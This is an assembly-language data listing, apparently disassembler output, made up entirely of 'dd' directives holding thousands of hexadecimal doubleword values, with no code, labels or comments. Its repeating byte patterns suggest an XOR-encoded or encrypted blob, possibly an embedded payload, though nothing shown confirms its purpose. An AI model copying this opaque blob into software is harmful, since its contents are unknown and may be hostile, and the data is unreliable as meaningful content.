		dd 755D12C8h, 0FA114F78h, 0AEB17D54h, 57B13BBFh, 8D64D56h
		dd 0FFC9E814h, 0EAB17EECh, 75B8DB36h, 0E02A3256h, 0FD7135Eh
		dd 5B25092Fh, 0BEB13237h, 0ABB13242h, 83637D28h, 7F06FDBDh
		dd 32400ABEh, 61E24D76h, 0AF5F3685h, 0BC583256h, 0D2B13256h
		dd 134934C6h, 0B0AA4185h, 0E4EA5D34h, 0EEAFBED0h, 0DAB13202h
		dd 0DDE86536h, 0A1D08080h, 57B134D7h, 0AB3B3D56h, 0B4B13256h
		dd 0EA443256h, 7F333D56h, 53B13256h, 5DB13253h,	8CBDEE3Bh
		dd 0A2B1323Fh, 0ABB120BFh, 5F6C9756h, 56135A1Eh, 922CB2h
		dd 117117E6h, 5D55F2CEh, 0AEB1C756h, 57B123BFh,	0B23F9456h
		dd 3B1B65F7h, 0DDFA62AEh, 0B29C5E26h, 52D1F98Ch, 5DB1325Ch
		dd 0E677D8F8h, 666DD2A2h, 4B01C65Fh, 986BB30Fh,	8B9A7527h
		dd 7AD13256h, 0BAD0EAE9h, 5A585256h, 32B13256h,	0F5BA9646h
		dd 0B858E0DBh, 6CB13256h, 44F19671h, 846837C9h,	5D15AE60h
		dd 758213A9h, 0AED01C5Ah, 57BADB56h, 99303256h,	5CF3F290h
		dd 9F503E67h, 15B13210h, 0FA97DCD7h, 5DD05670h,	0AEB8DB56h
		dd 0B5EC3256h, 0A5818850h, 0D506CD9Bh, 0EAB1CE56h, 8CB132AAh
		dd 37BE3256h, 5DB13257h, 47B132AEh, 57B1325Dh, 0BD4B355h
		dd 0F8C0D2A9h, 0EA5E156Ch, 75B7DB56h, 8B2A3256h, 0EF9540D8h
		dd 0AE4D3256h, 57B1CE56h, 0ABB13BBFh, 0F74C56h,	2175194Ch
		dd 75B11EEEh, 0B5B132A3h, 5DB13ADFh, 0AC3C3D56h, 37B13256h
		dd 0A4B13237h, 0D5B12BDBh, 0EAA5DB56h, 0F123256h, 84D62602h
		dd 0BE2A19D9h, 3E6A4039h, 67148CCAh, 0ABB10215h, 0B7095436h
		dd 0EAA1DAE7h, 0A14A3256h, 66AE3457h, 0D3C79910h, 0F1FCEBFFh
		dd 0A13097A3h, 0AD29534Dh, 59BE530Fh, 0EAB13241h, 75A0BD59h
		dd 0B6583256h, 1EB13256h, 0CAFF42DFh, 58CF8D30h, 0ABCFB36Ch
		dd 0D5B6DB56h, 0E90F3256h, 0A06D1Fh, 0DAB132A0h, 177EB330h
		dd 0CF7EB89Fh, 0DCD13256h, 0ABBADBAEh, 0D40C3256h, 1FFEA51Bh
		dd 68012F43h, 0BAB153ABh, 5DB7DA36h, 0F6C53256h, 0EE61BFFEh
		dd 435E42EFh, 0B4446B7Ah, 3493256h, 75B13259h, 294477ADh
		dd 0DB084DD0h, 0A47A1CE3h, 57DE4111h, 0B6343D56h, 0B5B13256h
		dd 0EAB122BFh, 5CA4F56h, 0F1DA8AB6h, 0E89AE396h, 0DA2FC3E7h
		dd 573F3D89h, 0CAB13256h, 0D5493256h, 0E6343D56h, 7AB13256h
		dd 0BAB134D4h, 5D353D56h, 0AEB13256h, 47343D56h, 0CBB13256h
		dd 0D5B137BEh, 978AA256h, 7AEB9EBDh, 0BAD0E9E1h, 5DA5DB56h
		dd 10EA3256h, 9D4CC4BCh, 966CE459h, 36781EE2h, 0B343DEC3h
		dd 80D10580h, 0BAB0BA59h, 3C4D3256h, 20BE3256h,	57B1325Bh
		dd 0AB3E3D36h, 6DB13256h, 0CE9E8F4Ch, 7AB13237h, 0BAB13CD1h
		dd 5DB8DB56h, 380A3256h, 32B0979Fh, 0ABD49F76h,	0D93E3D56h
		dd 0E5B13256h, 75B134DBh, 0BA393D56h, 5DB13256h, 0AEB1C756h
		dd 543A3D36h, 2BB13256h, 0D5D06794h, 77035256h,	147BB930h
		dd 0DCD13256h, 529815ECh, 0AEB136D4h, 0A50A5456h, 0ABB1536Eh
		dd 0D5BAB659h, 0E5D13256h, 0AD30E2E1h, 0DFD47A4Dh, 52B13237h
		dd 0AEB13DD6h, 57BBDB56h
		dd 58273256h, 21076A94h, 2D0D4110h, 75483256h, 4D3A5256h
		dd 0A1B13237h, 0FDD13256h, 31EBC8DDh, 918AE9D7h, 3CB13237h
		dd 0EAB13258h, 6F41A1A9h, 98EAA16Eh, 0FF51C878h, 0AEB1BBD2h
		dd 9946B236h, 0CA428D59h, 0DD583256h, 6FB13256h, 4D90D010h
		dd 0BAFFF696h, 5DB1CB56h, 0AEA8B859h, 43583256h, 72B13256h
		dd 0ACBD9BCDh, 3E6796FBh, 6D90F024h, 0C517C62h,	5DBD351Ah
		dd 0A1D1CA56h, 57B133D2h, 0AB59C756h, 8FB13256h, 48EAD8D7h
		dd 645834FAh, 2AB13256h, 1C9BAB11h, 35513BF3h, 3623B350h
		dd 0E6DA667h, 0D5B0B959h, 124D3256h, 0D7C9B7DBh, 36BE34FDh
		dd 5DB13241h, 0AEBCDA36h, 6E633256h, 360751F4h,	992BDD32h
		dd 0B54206FDh, 0FCD0F8DDh, 163AE9D4h, 5DB7DB50h, 0DAC73256h
		dd 76898A21h, 0C4C5B0DBh, 5FD134FBh, 0B345B281h, 7C33BB37h
		dd 42B79EDAh, 5DB120BFh, 7AC8F756h, 0F71D2EE9h,	9C9D282Ah
		dd 0A4AA2DCDh, 28B45C0h, 75B1074Bh, 0B828DAA3h,	0DDD13256h
		dd 2FD75F9Fh, 368F4F8Fh, 0ABB4BE59h, 65D13256h,	2DD0C7CAh
		dd 0D93A6CD4h, 0BAB13250h, 0B4E3CA56h, 0AEB13258h, 0EEEC970Bh
		dd 85D37842h, 120686Ch,	6F770781h, 73173E7Fh, 0E8D9CE00h
		dd 522D9AEEh, 0AEB12BD4h, 57A5DB56h, 4A8B3256h,	2E91114Dh
		dd 0C3B41DEDh, 0C45FA763h, 0DB745702h, 0E84E10B4h, 0A8173B4Fh
		dd 57B123BFh, 47CC7056h, 0DA8D8E4Ch, 0C9E7E8FEh, 5354F67Bh
		dd 3F3C5761h, 5B184376h, 0AE333D36h, 4B13256h, 0CAEEEBDDh
		dd 0DF58E2A9h, 0DB13256h, 0B9251370h, 0E560BE79h, 5434BBFFh
		dd 47B79445h, 57B1325Eh, 0C034C474h, 54269D90h,	0E058363Ch
		dd 0EBB13256h, 3E3CA6E6h, 4E3FF2F4h, 0BEB15A55h, 58D13256h
		dd 0ABB137DDh, 1B6D8D56h, 4312FE3h, 1D4453A2h, 0BAB23F16h
		dd 5DB0BF59h, 0C4443256h, 874ECE56h, 0ABB9BF59h, 58BE3256h
		dd 0EAB13254h, 15EB5336h, 0B1D0FDE6h, 353D96h, 0A1B13257h
		dd 57B120D9h, 0ABBCDB56h, 18313256h, 0E6B76E07h, 3C70159Ah
		dd 3382870Bh, 0F13A6CD4h, 2C38C750h, 511DB9F7h,	0C10B5436h
		dd 6CD0CA28h, 0EAB23F16h, 75B6B559h, 3AD13256h,	9A3A78B9h
		dd 0BF585237h, 0ADB13256h, 63F86080h, 0AD54ACE6h, 0EEBB4409h
		dd 227F8651h, 8A7BB330h, 0A53A53E9h, 0AEB6B359h, 0D8BE3256h
		dd 0ABB13257h, 3C7101AFh, 0EAB13250h, 0A475EB28h, 0B058BE71h
		dd 17B13256h, 0A4247BDFh, 0A5E60B37h, 571BC1D4h, 0D1DBC704h
		dd 0EAB0B159h, 1D493256h, 0BAB12256h, 5DBDBF59h, 2BBE3256h
		dd 57B13250h, 0ABB1B659h, 0D5D93256h, 3B13252h,	75B1325Eh
		dd 90DCECF5h, 8E4C1B8Bh, 0A1D1323Ch, 57B120D1h,	0ABBCDB56h
		dd 0E2AD3256h, 3B30855Dh, 1259782Ch, 0DC3258E4h, 0F8C0E4D7h
		dd 2FE35237h, 0D18C178Fh, 54D06D78h, 73A23BC4h,	0EABADB50h
		dd 0C7DC3256h, 831A4DBEh, 0AA8030FFh, 0B2383D6Ah, 58B13256h
		dd 0ABB124D2h, 0D5A0DB56h, 91023256h, 56DD6CC8h, 0E0FBEE55h
		dd 0E8174717h, 0F44EE518h, 57B120BFh, 9F82BF56h, 0A60A2DADh
		dd 8091DE55h, 0AEFCAFFFh, 0B58B3F53h, 5DB13ED9h, 0A83A3D56h
		dd 58B13256h, 0ABB132D5h, 0DF33BB56h, 3B79ED8h,	75B1325Eh
		dd 9DCCEDF1h, 41CD90FEh, 0A158CE37h, 46B13256h,	7C2A9D4Ch
		dd 91575FD4h, 5243173Ch, 0F03A37BBh, 0BC1DB908h, 5DB13CBFh
		dd 0D2F7456h, 799CCFFDh, 0DFEB9D65h, 1692336Dh,	1061B236h
		dd 15D0ECDDh, 733F5AEh,	5DB7944Ch, 0A1B17256h, 57B124D2h
		dd 0ABA0DB56h, 0D9F23256h, 0C0E4F32Dh, 565EE43h, 4DAA27F5h
		dd 9A8D4020h, 89C47D4h,	57A13250h, 0CDD15256h, 2A27F8D7h
		dd 3D06900h, 75B13259h,	0D1B74ABh, 39DE5750h, 5B0C40E7h
		dd 36A24CADh, 0CDD153A3h, 6D32F1ECh, 0ED36C7BEh, 0FED1F137h
		dd 710E3D90h, 0DBBE5237h, 0AEB13257h, 90BB9A3h,	53B79EDDh
		dd 0DAB10DD5h, 0EAB197D2h, 0F4D75256h, 4483F9Eh, 54177F68h
		dd 0BECEB137h, 67353D54h, 0A4B13256h, 0D5B135D6h, 0EB323D56h
		dd 8DB13256h, 0BEA14DD5h, 5DEAB659h, 2D493256h,	0AB482691h
		dd 544E8DBFh, 73052A9h,	0C7FD3C42h, 0C9F145EEh,	7D48536Dh
		dd 5DB02211h, 0A5583256h, 58B13256h, 42FD7244h,	0B3C87566h
		dd 0BBD1DAACh, 75B1B759h, 0DAEE3256h, 3C49C7DCh, 510CDB37h
		dd 0DFBECDA9h, 0ABB13247h, 0D5B13EBFh, 0C68E3056h, 0E47467FCh
		dd 178C3EFBh, 4DF6F5F6h, 0AEB13255h, 57B137BFh,	18B86456h
		dd 45589590h, 0E54ECDA9h, 75B133DAh, 53D0CE56h,	5DB13247h
		dd 96C7EF2Fh, 6A9D3AA9h, 927D05Bh, 951D8E7Ch, 0EABBDB30h
		dd 5F293256h, 0E4C628Ch, 0DA88033Ah, 2FD75295h,	0BE85FBB9h
		dd 0ABB13259h, 0FDF00574h, 176068ACh, 0F5B9819Dh, 0DB3F8ADBh
		dd 5DB6DB03h, 0ABA33256h, 83ED6D88h, 5E5DB9A6h,	0D559CE36h
		dd 0B0B13256h, 0D34ED8D7h, 0BC5834FAh, 0A5B13256h, 0A943A82Bh
		dd 1D1CE14h, 42EBCCDCh,	0D5B13259h, 9A65EE43h, 82AA27F5h
		dd 0DF8D4020h, 3C25572Bh, 209B80DDh, 37D134FAh,	0CAD1FCDDh
		dd 0B466B937h, 0E5B977DDh, 75B12ADBh, 0A8393D56h, 0B4B13256h
		dd 0AEB1325Bh, 4BC2945Dh, 50AC3C56h, 28A025D0h,	8AB7BBDDh
		dd 75B7B559h, 36BE3256h, 5DB13256h, 28BE53AEh, 57B13251h
		dd 0CD70B936h, 56D0F0DDh, 463F18D4h, 23D13650h,	0BBB9F2ECh
		dd 0D4BE6D5Ch, 0AEB13254h, 36D0C8DDh, 0F9D1CE36h, 0B469B90Dh
		dd 0E23B3D37h, 15B13256h, 0A8D08C30h, 94D0F1DCh, 0AEB5F0AEh
		dd 57A1DBA3h, 995A3256h, 9A28E02Eh, 0B82C9E91h,	0CF607348h
		dd 0B5D100F7h, 5DB133D2h, 0BE58CE56h, 9BB13256h, 2520A6A2h
		dd 9F55CAC4h, 0F60C3184h, 9D82647Ch, 0BAB13256h, 0B55BB30Ch
		dd 5BB79EF1h, 57B8DB36h, 8F043256h, 6A212679h, 30739AEh
		dd 75B13245h, 246DE533h, 27434D2Fh, 0BF26CDBBh,	0F9ED4B2Bh
		dd 0CA58E415h, 5BBB80DDh, 0D14434FAh, 0D93F18E4h, 23353D50h
		dd 0B4B13257h, 0AEB1325Eh, 12AD14BEh, 2E6F3996h, 0D2580CDDh
		dd 8EB13256h, 0D8D25D2Ch, 0B5D17A20h, 8E3AEAE9h, 0A16EB937h
		dd 57B138D6h, 6F315256h, 23305457h, 0E5D0599Ah,	7AB07DE0h
		dd 0BAB125DEh, 5DA3DB56h, 0CC13256h, 125849E2h,	258D1F5Dh
		dd 0EB2B4301h, 177DB012h, 0F5B075A0h, 0BAF7B759h, 52D13256h
		dd 0AEB134D3h, 0FC5FB356h, 0CDB91BDEh, 0D6D0C0DDh, 3331528Fh
		dd 305853C6h, 0DAB13256h, 0B4688559h, 0AEB13244h, 88F4775Dh
		dd 0FF7CE79Dh, 0AD289707h, 5E4F3635h, 15D05EC1h, 3FBEEDDDh
		dd 5DB13255h, 0CF3BE2D6h, 0BFD1EB7Dh, 0ABB1325Dh, 9A918522h
		dd 1BF571B2h, 13B72FEDh, 0E4DB17E8h, 3C488D59h,	0AEA0DB15h
		dd 0E3323256h, 28F9390Ch, 0FDF7A976h, 9D459F5Fh, 8DCE746Eh
		dd 3F3ACB15h, 5B17243Fh, 1F3CB9AFh, 0ABB79452h,	29BEEA6Dh
		dd 0D5B13210h, 0EAB0B659h, 4E4D3256h, 8D363D8Fh, 52B13256h
		dd 0AEB138DEh, 36D15256h, 6CC1C5D7h, 0DAD01083h, 0EAB135D5h
		dd 0C2BE5256h, 0DBEE65ACh, 0A8B5F4D5h, 514FFCBFh, 5C3C3DA9h
		dd 42B13256h, 0D5B13250h, 0A0790197h, 0BA8A5208h, 0BAEBB659h
		dd 0D6D13256h, 0AEB8DA99h, 53113256h, 31FA8733h, 3C5AC9A6h
		dd 0EAB13253h, 0C02EEC93h, 33D06BABh, 0FBB583EBh, 0A33A3D50h
		dd 0BEB13256h, 0ABB1325Eh, 0BC629C7Ah, 35E7B25h, 8A4F41BFh
		dd 5B3052A9h, 5249ADAh,	0AEA3DB37h, 0CFAC3256h,	759FEC24h
		dd 0B99CC9E4h, 5615518Eh, 9711A0D0h, 0B572CA37h, 5DB12BD8h
		dd 0AEA5DB56h, 93833256h
		dd 79A49A66h, 0F8FF19E2h, 0C0315DD7h, 36FAEEC4h, 0DAD1C50Bh
		dd 5DB1B359h, 0C30E3256h, 36D53D2Fh, 0A9343D36h, 86B13256h
		dd 8B73B908h, 75B132BEh, 50306856h, 5B1D9853h, 0A13D8436h
		dd 57B137D6h, 65305456h, 0B5D0E8E5h, 0D30FCDDh,	71F8054Fh
		dd 0B00BB937h, 0B4B79ED8h, 0AEB1325Ah, 0D499C287h, 0F0D9A516h
		dd 0D1768577h, 0EAB032EFh, 60393D56h, 53B13256h, 5DB13246h
		dd 0AD3D1378h, 0F8A85641h, 318A2576h, 0D029E496h, 61BEF265h
		dd 75B13251h, 2F138A36h, 0AED01715h, 0AEBDDBFDh, 7B383256h
		dd 52F2F59Ah, 0D9A9BBCDh, 683A27E8h, 731DBC5Ch,	0BAB6DA36h
		dd 442E3256h, 0BFF3CA36h, 88305434h, 1EEA0EC3h,	57385338h
		dd 0EC1DBC7Ch, 75B138BFh, 1B749756h, 6883641Dh,	0CF4A25B6h
		dd 57BDB459h, 0CDD13256h, 0DA205BE9h, 0EAB132D1h, 13D15356h
		dd 8470DDD7h, 9EF9F2D7h, 6DD040B5h, 0BF4452AFh,	0ABB13256h
		dd 0D5BB30Ch, 1FB79EFCh, 75B13CBFh, 0B3CEA456h,	2A98054Ch
		dd 1664C81h, 9132A648h,	0DBD1BD3h, 0BD4D6450h, 3EAE5F6Fh
		dd 0DB69B336h, 0DBB555A5h, 54A887A9h, 22BE34F0h, 57B1325Fh
		dd 12528536h, 0EE7A8D3Eh, 0CA34BF37h, 8DB79B27h, 0B558E2A9h
		dd 0F3B13256h, 5CA37317h, 4A833C59h, 0B8098AA1h, 3CE354D3h
		dd 0EAB1325Dh, 9CCDD70Ch, 983AA756h, 0D4E4628h,	0AEBABB59h
		dd 31D13256h, 10D604E8h, 0BC6F887Eh, 6AB15A37h,	0FBBE3256h
		dd 0BAB1325Fh, 0AC305436h, 0AD042D7Ah, 37B15837h, 0ABB0B559h
		dd 0B4493256h, 61EF80A9h, 0F1BE34FAh, 0BAB13250h, 99095436h
		dd 7E4E53C1h, 57B7DB36h, 0E743256h, 0DF5AC1A3h,	0EAB138BEh
		dd 25F7A156h, 0F7D8D75Fh, 5C05FB9h, 0A4586A37h,	0B6B13256h
		dd 2551840Ah, 3C96D625h, 0E758681Fh, 9EB13256h,	97B6517Fh
		dd 46BD5196h, 1167A3FAh, 5731323Eh, 0C14DCA56h,	0D5B9DB56h
		dd 0FF643256h, 0B0CF672Bh, 84E675Ah, 5B1DBC5Ch,	0AEB122BFh
		dd 5E25FE56h, 0C7DC3207h, 0D084AB4Eh, 1B5344B1h, 1561CDBFh
		dd 0B56E8559h, 3CD0C3E9h, 0AEB134BFh, 0D4B0A956h, 6876AFFDh
		dd 0D5B7B059h, 61D13256h, 144DB8ADh, 0BB3A3D03h, 0A5B13256h
		dd 0CE44DEDDh, 57ACB759h, 42D13256h, 0D5B13244h, 0ABBC700Ah
		dd 2A8ED970h, 50ABB8A1h, 8025725Ch, 16D7A935h, 58D0EA0Bh
		dd 0ABB13EDEh, 0D3383D56h, 0E5B13256h, 75B132DEh, 0BAB1DA56h
		dd 0DCEB3256h, 21D58BCh, 0DC485250h, 0CDD153AEh, 3CA8DEE8h
		dd 0EAB13246h, 0AB17DEFFh, 0D26A586Ch, 17D50069h, 528C6704h
		dd 5FC4B937h, 75BB236h,	0D5B7B859h, 19303256h, 3E67AC04h
		dd 0B582DA37h, 8483256h, 0AEB9DB36h, 1D5A3256h,	7F4C0249h
		dd 56BE5D85h, 0EAB13254h, 7AD0D9DCh, 0BAB124DAh, 5DA0DB56h
		dd 8F4D3256h, 5BBFF3C4h, 87846402h, 933E118Eh, 15D9F9C2h
		dd 0D93AE9C4h, 0BB333D50h, 0A8B13256h, 0AEB126BFh, 90867A56h
		dd 0D8922ED2h, 0F5E8763Dh, 383D0C7h, 0FA8994F8h, 33BE6F53h
		dd 5DB13253h, 5B358736h, 5BC40937h, 543AB759h, 0D058CDA9h
		dd 60B13256h, 4F86777Bh, 0BABF86BEh, 5C3F3D56h,	56B13256h
		dd 57B137BFh, 6C043B56h, 3CD005C4h, 0EAB13246h,	7F2DAE98h
		dd 0BE35C34h, 6DC49146h, 0B83D425h, 0BED1CB9Fh,	0ABB13245h
		dd 34995C2Eh, 6831E56Fh, 0F70B5AE6h, 8BB6C5E4h,	3B846214h
		dd 0DB9E1D7h, 57B9F037h, 0ABB13CBFh, 0B22EF256h, 7A5703D5h
		dd 43A84F27h, 0EF93F4A2h, 5C3C3DAEh, 57B13256h,	5058DEDDh
		dd 0B13256h, 0E67C4884h, 2E329FA2h, 823A52AAh, 0BAB13CBFh
		dd 0A779F156h, 190C26ACh, 0E6AA6D25h, 0CA16C829h, 8249CE00h
		dd 0EAB0BF59h, 26493256h, 0BB343DAFh, 0A5B13256h, 0AEB132BEh
		dd 0BD306856h, 0AD1D9F87h, 0D4333DAFh, 16B13256h, 80B947DDh
		dd 0DAA14FDDh, 5DB134BEh, 0E8B77456h, 0D60909FBh, 383723A1h
		dd 13306C16h, 0F8FA0737h, 15446537h, 0E24BB900h, 50586437h
		dd 0A0B13256h, 0E419AB3h, 0AC446392h, 33E7E549h, 0EAB0F2BEh
		dd 75A2DB56h, 3D503256h, 0DF580CEFh, 0CB56C8E9h, 73F8DE0h
		dd 415857h, 0D2363D3Eh,	0E5B13256h, 75B133D3h, 7ABACA56h
		dd 5D5CB659h, 47D13256h, 57B1325Eh, 0A4E8CFA9h,	3E84EDB9h
		dd 61D0EADCh, 79303DAEh, 53B13256h, 5DB13251h, 83773B75h
		dd 243E31Fh, 0ABBDB259h, 5BBE3256h, 0EAB13250h,	75B1BE59h
		dd 284E3256h, 5B1DB98Dh, 0AEB13CBFh, 0DFCE3D56h, 0CE4E3929h
		dd 0A0A54048h, 0B750CCADh, 0C961B236h, 0BAB13DBEh, 880556h
		dd 0A9A58633h, 97001052h, 0D02C8591h, 8A4F8D59h, 0E6C40937h
		dd 75C4B659h, 0BF583256h, 2AB13256h, 6EA74CE2h,	58AFB930h
		dd 0ABB133D3h, 3231CE56h, 5BE252A6h, 9F3069E4h,	0A10EE192h
		dd 3DAFB837h, 0D9358B30h, 367B8D59h, 0ABB9BB59h, 58BE3256h
		dd 0EAB13254h, 96315336h, 0B359C7A6h, 0A5B13270h, 0AEB5B359h
		dd 37D13256h, 4D585337h, 0DA4ECDA8h, 0EAB121D1h, 75BFDB56h
		dd 0CC1F3256h, 0FC29009Dh, 17A43B76h, 485A744Ah, 0ABB0BD59h
		dd 5C493256h, 6CBECE2Bh, 75B1325Ah, 0BAB4DB36h,	0C1E3256h
		dd 0CF5A4918h, 0A847A6BEh, 0A44452A9h, 0D5B134DDh, 0EA373D56h
		dd 14B13256h, 0AF353D0Dh, 0B4B13256h, 0AEB13246h, 3BF2B73h
		dd 309B898Eh, 0CFCB3396h, 1FB9DC6Ch, 75BFDB09h,	7003256h
		dd 1C4112A4h, 91412CE5h, 290FB9Ch, 0B83E3D08h, 3CB13256h
		dd 0EAB13258h, 405C9A6Eh, 2BD45A27h, 0A45A6A9Bh, 0EB3A04E5h
		dd 56333DAAh, 5EB13256h, 0C73A3D9Fh, 0E5B13256h, 75B13EDBh
		dd 0BAB6DB56h, 7F453256h, 8EBE7657h, 57BDF061h,	0ABB6DBA3h
		dd 61613256h, 0A47DB707h, 7958671Eh, 3EB13256h,	36C2114Ah
		dd 3F916B12h, 0DC5800B4h, 2AD752BAh, 0B5CBBCB1h, 0EAB1B259h
		dd 470B3256h, 0DBA8F5D0h, 0A575B137h, 21BE65AAh, 57B13257h
		dd 0ABBADBAEh, 0F7653256h, 0CA3CCA77h, 314E1653h, 31BE64ABh
		dd 5DB1325Eh, 0AE3A3D36h, 36B13256h, 0ABBBDB07h, 6883256h
		dd 49765EB4h, 9C8AEEB4h, 0BAB121BFh, 1A9CB56h, 4E77E049h
		dd 68ABB3E8h, 0D7F83C22h, 0D5AA023Bh, 0AF76CE05h, 75B132AEh
		dd 0BE3D3D56h, 3DB13256h, 69D05336h, 0FB3C5CD4h, 0ABB13350h
		dd 0D5A1DB56h, 54253256h, 0D998383Bh, 8CB056E9h, 7BBF893Ah
		dd 0DB3AA5FCh, 31D1CB5Eh, 0A4E2EBDDh, 0D5B132D2h, 8CD06856h
		dd 7AD12CDDh, 3DBECBE9h, 5DB13257h, 143A53A3h, 511DB908h
		dd 0ABB126BFh, 4363BD56h, 0A8E63B04h, 49CF2850h, 0E70711A7h
		dd 5014FF5Ah, 0A6EEB90Ch, 57B13EBFh, 92EC1756h,	279B520Dh
		dd 4131C421h, 7A6A398Eh, 0BAB155D2h, 4D313D56h,	47B13256h
		dd 57B1325Dh, 708561DCh, 66D70294h, 0D1485563h,	5E343D88h
		dd 46B13256h, 52BD6FDDh, 0AEB13EDFh, 513B3D56h,	0A4B13256h
		dd 0D5B132DEh, 0E6EEBB56h, 75BDB159h, 0BD583256h, 0EBB13256h
		dd 4E068608h, 903203EFh, 0ABA1DB42h, 11B23256h,	0A5294235h
		dd 6A797C1Ah, 57418EF8h, 2358A05Bh, 524ECDA9h, 58AFB930h
		dd 0ABB135D8h, 54D75256h, 8BAA4B9Ch, 7A59C9D6h,	0BAB2AAD2h
		dd 5DB6DB56h, 4DF33256h, 91AFA312h, 424AB272h, 0D632B659h
		dd 8CD13256h, 7956F3D7h, 0BAB3BD59h, 6E03256h, 454AB237h
		dd 54DAB659h, 0BF583256h, 0A5B13256h, 1DAED5D2h, 0C849839Ch
		dd 556D665h, 7AA5A6DFh,	2E1FAA4Fh, 0D3BED0ADh, 0ABB13172h
		dd 364AB2A3h, 0E865B659h, 0FABE3256h, 0BAB1324Eh, 5DB121BFh
		dd 3F47A456h, 0F4B7AFAEh
		dd 64DA3E85h, 0DC96F661h, 9EC6B284h, 124AB330h,	4B353DB5h
		dd 52B13254h, 0AEB133D9h, 0B031C756h, 20D752A6h, 0D5BFDA8Ch
		dd 88E33256h, 0F299D6F0h, 401F8750h, 78F2A136h,	0AEB1B059h
		dd 36EE3256h, 0A44AB330h, 37353DD6h, 1FB13254h,	9C41D1D6h
		dd 0BAB13258h, 1F3B7F1h, 6DF012BFh, 877CAB96h, 50319B2Fh
		dd 17353D26h, 0E5B13254h, 75B121D5h, 0BC585256h, 0BBB13256h
		dd 0D806A866h, 5D40B364h, 0CA944D2Eh, 0B5AFB930h, 0EAB7BF59h
		dd 0F1BE3256h, 0BAB13256h, 0A552B237h, 0AEB0B059h, 37483256h
		dd 2FBED0DCh, 0D5B1325Bh, 0EAB135BEh, 0B6ED4E56h, 39939CBBh
		dd 0A631530Ch, 0E3353DEEh, 0ABB13257h, 0AE8FB2A3h, 0D4F3B659h
		dd 0EC583256h, 0B3B13256h, 0BED87853h, 573A3D4Ah, 47B13256h
		dd 57B13253h, 40DDB4B8h, 0F88FB2EBh, 0EBAFB659h, 9CD13256h
		dd 0BAB1325Ch, 28FC0DBFh, 2B27ED6Ch, 0AD3A299Dh, 0C38FB237h
		dd 0D4B3B659h, 0E2583256h, 22B13256h, 72257FFAh, 0A279C043h
		dd 23C5CD4h, 0DCD7CE50h, 533A5248h, 2D56B237h, 0EAB134BFh
		dd 0AEEAF856h, 0DC50D80Dh, 0B530C9D7h, 0AE7FB659h, 0D8BE3256h
		dd 0ABB13257h, 0CB3A54AFh, 1A56B2A3h, 75B13EBFh, 0DCE92056h
		dd 54F6327Dh, 58DFEC64h, 0AC30540Fh, 2FBEF2D7h,	0D5B132F2h
		dd 0EABDBB59h, 0F7BE3256h, 0BAB13250h, 5DB1B659h, 5BD13256h
		dd 57BADB03h, 0D4503256h, 17E874FCh, 0D7671D60h, 743F3DE9h
		dd 4FB13256h, 0D66AA0A9h, 0F34834FAh, 0DCBE52AEh, 0ABB13255h
		dd 3C768D59h, 0EAB13253h, 0B58C2381h, 0FF385305h, 4E5852AAh
		dd 85B13256h, 47ECC09Eh, 7C415449h, 0DF7FC3D7h,	58C8091Ah
		dd 0F3BE234Ah, 0BAB13250h, 1D20F0D7h, 0CFD06A6Eh, 57A3B959h
		dd 0A6583256h, 0FDB13256h, 71C0345Dh, 0F0F9FFD7h, 0FE3F59DBh
		dd 5C4D4FD5h, 0ACA3B759h, 0D0BE3256h, 0ABB1325Eh, 0D5B3BD59h
		dd 8BD13256h, 6F0C88DDh, 9D134F0h, 50393D54h, 46B13256h
		dd 57B13251h, 297766EAh, 8B5ED310h, 6BD16237h, 1FE6EAA6h
		dd 70315244h, 5DB8DA01h, 8F1C3256h, 0D3F45A07h,	0F524964Ch
		dd 573A5337h, 0EC1DBF38h, 458D0BAFh, 0BAB0BF59h, 5483256h
		dd 0AF03B059h, 5D583256h, 0BCB13256h, 40186020h, 4C31A9BCh
		dd 0BB93Ch, 43B7947Bh, 0E7D75206h, 0BE59162Ch, 0AB13256h
		dd 0E30008C9h, 0A855432Fh, 5136F178h, 2C37B80Dh, 0D433B937h
		dd 3DB79EDBh, 0AEB3B559h, 0EE13256h, 6DBE45ECh,	0E988537Ah
		dd 0B244CE66h, 74EFBD59h, 0B5D13256h, 5DB130D0h, 0CFC28756h
		dd 57B15EBFh, 0EE76CE56h, 0D5B130AEh, 0FD353D56h, 15B13256h
		dd 0BAB13FBEh, 6DC19956h, 202F19F2h, 51910A57h,	0CBEB2F5Eh
		dd 97585337h, 8AB13256h, 753B3D01h, 0E4B13256h,	3CD05236h
		dd 0AEBBDB37h, 0C6163256h, 0E22DC349h, 34B8B674h, 0EB497791h
		dd 7AB13256h, 0BAB12ADDh, 5DA2DB56h, 5DA23256h,	0EAD5097Fh
		dd 0D9C24E11h, 65126F41h, 0FD9640B5h, 2B0BB9EEh, 4FB79EDDh
		dd 0DCBE2DDDh, 0AEB13251h, 57B0B059h, 0A0443256h, 10353D8Dh
		dd 8AB13256h, 75B4BD59h, 3BD73256h, 521C12BEh, 95D0F2E9h
		dd 31343D88h, 42B13256h, 0D5B13253h, 244A17FBh,	79ECB9FAh
		dd 0AC208A36h, 3C4D0AAAh, 0AE494FD5h, 57AFB659h, 0A8443256h
		dd 51BECA0Bh, 0EAB13251h, 0A7305436h, 53D0D40Fh, 5DB1325Eh
		dd 3888DCBBh, 0C163BD39h, 0CBB56DDFh, 0EF858836h, 0EC581A4Dh
		dd 50B13256h, 0CAC6AE81h, 5058537Ah, 8DB13256h,	28D21319h
		dd 0DFA6E1EAh, 55D664F0h, 0FE76B137h, 5367B336h, 30E97901h
		dd 4585397h, 0A14ECDA9h, 57B13AD9h, 14BE5256h, 4065B280h
		dd 3710137h, 75B13258h,	6838B7EAh, 2FF91656h, 1223F878h
		dd 0E75836A2h, 0A4B13252h, 0D5B135D4h, 0EB3E3D56h, 8CB13256h
		dd 53AFB930h, 5DB13250h, 0BD18CA9Bh, 2A3ADEF2h,	5031CB5Ah
		dd 0B8353DBDh, 3B13256h, 75B13258h, 0E5CAE004h,	0FF323045h
		dd 0F68ABF03h, 0B431C7CFh, 0B3343DA6h, 3CB13256h, 0EAB13245h
		dd 0AD376083h, 25ECA97Bh, 24F9836Ch, 80CCD627h,	0D70AB595h
		dd 2FBE42ADh, 0D5B132DBh, 0EA3C3D36h, 13B13256h, 0C2B0F4D7h
		dd 0B658CB37h, 0CEB13256h, 57B139BFh, 2BCFA456h, 51337E35h
		dd 9C366ABFh, 75B4B759h, 3BD73256h, 3CCCADBCh, 0CE583590h
		dd 0D7BEF9DDh, 0ABB13254h, 12D06D05h, 0EAB13311h, 0FE493256h
		dd 0BAA1DB91h, 0A13256h, 7FE37CA0h, 202DE573h, 0FBF41E26h
